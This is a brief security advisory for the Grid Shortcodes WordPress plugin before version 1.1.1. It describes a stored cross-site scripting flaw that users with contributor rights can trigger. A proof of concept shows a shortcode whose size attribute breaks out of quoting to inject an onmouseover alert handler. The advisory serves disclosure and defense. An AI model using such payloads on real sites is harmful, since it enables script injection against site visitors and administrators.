Grid Shortcodes < 1.1.1 - Contributor+ Stored XSS

Description The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

PoC

[GDC_row] [GDC_column size=‘" onmouseover=“alert(1123123)”’] Your content here [/GDC_column] [GDC_column size=“third”] Your content here [/GDC_column] [GDC_column size=“third”] Your content here [/GDC_column] [/GDC_row]